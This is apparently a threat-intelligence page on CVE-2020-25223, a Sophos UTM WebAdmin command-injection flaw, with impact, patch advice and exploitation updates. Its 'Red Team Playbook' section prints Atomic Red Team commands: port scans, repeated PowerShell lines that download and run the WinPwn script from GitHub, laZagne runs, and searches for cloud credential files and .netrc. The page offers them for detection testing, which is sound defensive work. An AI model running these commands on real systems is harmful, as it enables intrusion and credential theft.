CVE-2020-25223
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the WebAdmin interface of Sophos SG UTM. The issue arises from insufficient sanitization of user-supplied headers and parameters in HTTP POST requests, specifically targeting the /var endpoint. The affected component is the WebAdmin management interface, which processes these inputs without adequate filtering, enabling execution of arbitrary system commands.
Vulnerability Description
A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary commands on the affected system remotely, gaining full control over the device. This enables complete compromise of the firewall and network security functions managed by the device, potentially leading to data exfiltration, network disruption, or lateral movement within the protected environment. No user interaction or valid credentials are required to exploit the flaw, increasing the attack surface significantly.
Solution
Sophos has released patches addressing this vulnerability in SG UTM versions 9.705 MR5, 9.607 MR7, and 9.511 MR11. Administrators should apply these updates promptly to remediate the issue. Detailed patch instructions and advisory information are available on the Sophos Security Blog at https://community.sophos.com/b/security-blog/posts/advisory-resolved-rce-in-sg-utm-webadmin-cve-2020-25223.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical remote code execution vulnerability exists in the WebAdmin interface of specific versions of Sophos Unified Threat Management (UTM) appliances. This flaw arises from improper validation of user input, allowing an attacker to execute arbitrary code on the affected system. The vulnerability is particularly concerning due to its high CVSS score of 9.8, indicating a severe risk level. Attackers can exploit this weakness by sending crafted requests to the WebAdmin interface, which may lead to unauthorized access and control over the device. The affected versions include those prior to v9.705 MR5, v9.607 MR7, and v9.511 MR11, making it imperative for organizations using these systems to assess their current software versions.
The primary attack vector for this vulnerability is remote access to the WebAdmin interface, which is typically exposed to the internet or internal networks. An attacker could leverage this exposure to send specially crafted HTTP requests that exploit the input validation flaw. Once the attacker successfully executes code, they can manipulate the device to perform actions such as altering configurations, exfiltrating sensitive data, or launching further attacks within the network. Exploitation scenarios could range from a targeted attack on a specific organization to broader campaigns aimed at compromising multiple devices across various sectors.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Sophos UTM for network security. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and potential compliance violations, especially in regulated industries. The financial implications of such breaches can be substantial, including costs associated with incident response, remediation, and potential legal liabilities. Furthermore, the reputational damage incurred from a security breach can erode customer trust and lead to long-term business consequences.
To detect and mitigate this vulnerability, organizations should prioritize updating their Sophos UTM appliances to the latest versions that address the flaw. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the network. Additionally, implementing network segmentation and restricting access to the WebAdmin interface can reduce the attack surface. Employing intrusion detection and prevention systems (IDPS) can also aid in monitoring for suspicious activity related to the exploitation of this vulnerability. Organizations should maintain a robust patch management policy to ensure timely updates and protect against known vulnerabilities.
In conclusion, the remote code execution vulnerability in the WebAdmin interface of specific Sophos UTM versions poses a serious threat to organizations that utilize these devices for network security. The potential for exploitation underscores the importance of proactive security measures, including regular updates, access controls, and continuous monitoring. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can significantly reduce their risk exposure and safeguard their critical assets against malicious actors.
Since the initial disclosure, CSURFACE threat intelligence has identified a significant evolution in the exploitation landscape surrounding CVE-2020-25223. Notably, new proof-of-concept exploit code has surfaced publicly on GitHub, accompanied by the release of a Metasploit module that automates exploitation of the Sophos UTM WebAdmin vulnerability. This development substantially lowers the technical barrier for attackers, enabling a broader range of threat actors to attempt remote code execution against affected systems. Our telemetry indicates a marked escalation in exploit attempts following these releases, reflecting increased adversary interest and operational activity. The vulnerability’s addition to the CISA Known Exploited Vulnerabilities catalog further elevates its priority for defenders, signaling recognition at the federal level of its active exploitation risk. Correspondingly, the CVSS score has been formally assigned as critical (9.8), and the EPSS score has surged to a high level, underscoring the probability of successful exploitation in the wild. Collectively, these changes amplify the threat level posed by CVE-2020-25223, emphasizing an urgent need for heightened vigilance in detection and response efforts across environments utilizing vulnerable Sophos UTM versions.
Update 2 — July 29, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-25223, reflected by a significant uptick in detection activity across our telemetry. This surge indicates increased adversary interest and operational use of available exploits, including those leveraging the Metasploit module and publicly accessible proof-of-concept code. Although the EPSS score remains stable at a high level, the sharp rise in observed activity underscores an elevated risk of compromise for environments running vulnerable Sophos SG UTM versions. This development heightens the urgency for defenders to prioritize monitoring and incident response capabilities, as the expanding exploitation footprint suggests adversaries are actively capitalizing on this critical remote code execution vulnerability.
Update 3 — August 17, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-25223, with our telemetry indicating a significant uptick in adversary activity against vulnerable Sophos SG UTM instances. This surge coincides with sustained interest in publicly available proof-of-concept exploits and the Metasploit module, facilitating broader operational use by threat actors. Although the EPSS score remains stable, the increased detection frequency signals a growing exploitation footprint that elevates the risk of successful remote code execution attacks. For defenders, this intensification underscores an urgent need to enhance visibility into WebAdmin interface traffic and to prioritize detection strategies tailored to this vulnerability. The evolving threat landscape suggests adversaries are increasingly leveraging this critical flaw, potentially expanding their foothold within targeted networks.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sophos | Unified Threat Management | All |
cpe:2.3:a:sophos:unified_threat_management:*:*:*:*:*:*:*:*
|
|
|
Sophos | Unified Threat Management | All |
cpe:2.3:a:sophos:unified_threat_management:*:*:*:*:*:*:*:*
|
|
|
Sophos | Unified Threat Management | All |
cpe:2.3:a:sophos:unified_threat_management:*:*:*:*:*:*:*:*
|
|
|
Sophos | Unified Threat Management | 9.511 |
cpe:2.3:a:sophos:unified_threat_management:9.511:-:*:*:*:*:*:*
|
|
|
Sophos | Unified Threat Management | 9.607 |
cpe:2.3:a:sophos:unified_threat_management:9.607:-:*:*:*:*:*:*
|
|
|
Sophos | Unified Threat Management | 9.705 |
cpe:2.3:a:sophos:unified_threat_management:9.705:-:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Sophos UTM WebAdmin SID Command Injection
exploits/linux/http/sophos_utm_webadmin_sid_cmd_injection
|
Justin Kennedy, wvu | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
darrenmartyn/sophucked
CVE-2020-25223
|
darrenmartyn | 11 | 1 | 2021-08-29 | View |
|
maguireja/CVE-2020-25223
|
maguireja | 3 | 0 | 2021-09-09 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
41%
|
High | High | |
| CAPEC-6 | Argument Injection |
40%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-25223 |
| cwe.mitre.org |
GitHub CVE
|
https://cwe.mitre.org/data/definitions/78.html |
| community.sophos.com |
GitHub CVE
|
https://community.sophos.com/b/security-blog |
| community.sophos.com |
GitHub CVE
|
https://community.sophos.com/b/security-blog/posts/advisory-resolved-rce-in-sg-utm-webadmin-cve-2020-25223 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/164697/Sophos-UTM-WebAdmin-SID-Command-Injection.html |
| secpod.com |
GitHub CVE
|
https://www.secpod.com/blog/remote-code-execution-in-sophos-utm/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-25223 |